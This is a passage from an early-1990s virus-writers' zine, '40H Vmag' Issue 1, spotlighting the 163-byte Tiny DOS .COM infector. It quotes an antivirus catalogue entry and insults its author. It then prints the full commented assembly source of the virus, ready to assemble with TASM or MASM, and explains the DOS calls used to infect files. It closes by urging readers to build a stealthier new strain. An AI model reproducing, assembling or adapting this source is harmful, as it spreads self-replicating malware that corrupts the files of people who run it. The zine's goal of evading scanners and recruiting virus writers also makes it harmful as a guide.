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40H Vmag Issue 1 Volume 1 00001 - VIRUS SPOTLIGHT - The first virus I would like to spotlight is the Tiny virus, lets see what our good friend Patti Hoffman (bitch) has written about it. Name: Tiny Aliases: 163 COM Virus, Tiny 163 Virus, Kennedy-163 V Status: Rare Discovery: June, 1990 Symptoms: COMMAND.COM & .COM file growth Origin: Denmark Eff Length: 163 Bytes Type Code: PNCK - Parasitic Non-Resident .COM Infector Detection Method: ViruScan V64+, VirexPC, F-Prot 1.12+, NAV, IBM Scan 2.00+ Removal Instructions: Scan/D, F-Prot 1.12+, or Delete infected files General Comments: The 163 COM Virus, or Tiny Virus, was isolated by Fridrik Skulason of Iceland in June 1990. This virus is a non-resident generic .COM file infector, and it will infect COMMAND.COM. The first time a file infected with the 163 COM Virus is executed, the virus will attempt to infect the first .COM file in the current directory. On bootable diskettes, this file will normally be COMMAND.COM. After the first .COM file is infected,each time an infected program is executed another .COM file will attempt to be infected. Files are infected only if their original length is greater than approximately 1K bytes. Infected .COM files will increase in length by 163 bytes, and have date/time stamps in the directory changed to the date/time the infection occurred. Infected files will also always end with this hex string: '2A2E434F4D00'. This virus currently does nothing but replicate, and is the smallest MS-DOS virus known as of its isolation date. The Tiny Virus may or may not be related to the Tiny Family. ^like she'd know the difference! OK, Theres the run down on the smallest MS-DOS virus known to man. As for it being detected by SCAN we'll see about that. Here is a dissasembly of the virus, It can be assembled under Turbo Assembler or MASM. ----------------------------------------------------------------------------- PAGE 59,132 data_2e equ 1ABh ;start of virus seg_a segment byte public ; assume cs:seg_a, ds:seg_a ;assume cs, ds - code org 100h ;orgin of all COM files s proc far start: jmp loc_1 ;jump to virus ;this is a replacement for an infected file db 0CDh, 20h, 7, 8, 9 ;int 20h ;pop es loc_1: call sub_1 ; s endp sub_1 proc near ; pop si ;locate all virus code via sub si,10Bh ;si, cause all offsets will mov bp,data_1[si] ;change when virus infects add bp,103h ;a COM file lea dx,[si+1A2h] ;offset of '*.COM',0 - via SI xor cx,cx ;clear cx - find only normal ;attributes mov ah,4Eh ;find first file loc_2: int 21h ; jc loc_6 ;no files found? then quit mov dx,9Eh ;offset of filename found mov ax,3D02h ;open file for read/write access int 21h ; mov bx,ax ;save handle into bx mov ah,3Fh ;read from file lea dx,[si+1A8h] ;offset of save buffer mov di,dx ; mov cx,3 ;read three bytes int 21h ; cmp byte ptr [di],0E9h ;compare buffer to virus id ;string je loc_4 ; loc_3: mov ah,4Fh ;find the next file jmp short loc_2 ;and test it loc_4: mov dx,[di+1] ;lsh of offset mov data_1[si],dx ; xor cx,cx ;msh of offset mov ax,4200h ;set the file pointer int 21h ; mov dx,di ;buffer to save read mov cx,2 ;read two bytes mov ah,3Fh ;read from file int 21h ; cmp word ptr [di],807h ;compare buffer to virus id je loc_3 ;same? then find another file ;heres where we infect a file xor dx,dx ;set file pointer xor cx,cx ;ditto mov ax,4202h ;set file pointer int 21h ; cmp dx,0 ;returns msh jne loc_3 ;not the same? find another file cmp ah,0FEh ;lsh = 254??? jae loc_3 ;if more or equal find another file mov ds:data_2e[si],ax ;point to data mov ah,40h ;write to file lea dx,[si+105h] ;segment:offset of write buffer mov cx,0A3h ;write 163 bytes int 21h ; jc loc_5 ;error? then quit mov ax,4200h ;set file pointer xor cx,cx ;to the top of the file mov dx,1 ; int 21h ; mov ah,40h ;write to file lea dx,[si+1ABh] ;offset of jump to virus code mov cx,2 ;two bytes int 21h ; ;now close the file loc_5: mov ah,3Eh ;close file int 21h ; loc_6: jmp bp ;jump to original file data_1 dw 0 ; db '*.COM',0 ;wild card search string sub_1 endp seg_a ends end start ----------------------------------------------------------------------------- Its good to start off with a simple example like this. As you can see what the virus does is use the DOS 4Eh function to find the firsy COM file in the directory. If no files are found the program exits. If a file is found it compares the virus id string (the virus jump instruction) to the first two bytes of the COM file. If they match the program terminates. If they don't match the virus will infect the file. Using two key MS-DOS functions to infect. The first - INT 21h Function 42h SET FILE POINTER AH = 42h AL = method code BX = file handle CX = most significant half to offset DX = least " " If there is an error in executing this function the carry flag will be set, and AX will contian the error code. If no error is encountered DX = most significant half of file pointer AX = least " " The second (and most) important function used by any virus is INT 21h Function 40h WRITE TO FILE OR DEVICE AH = 40h BX = handle CX = number of bytes to write DS:DX = segment of buffer Returns AX = bytes transferred on error AX = Error Code and flag is set. An example of Function 40h is ---- mov ah,40h ;set function mov bx,handle ;load bx with handle from prev open mov cx,virus_size ;load cx with # of bytes to write mov dx,offset write_buffer ;load dx with the offset of what to ;write to file int 21h ; This function is used by 98% of all MS-DOS viruses to copy itself to a victim file. Now heres a sample project - create a new strain of Tiny, have it restore the original date and time etc... HR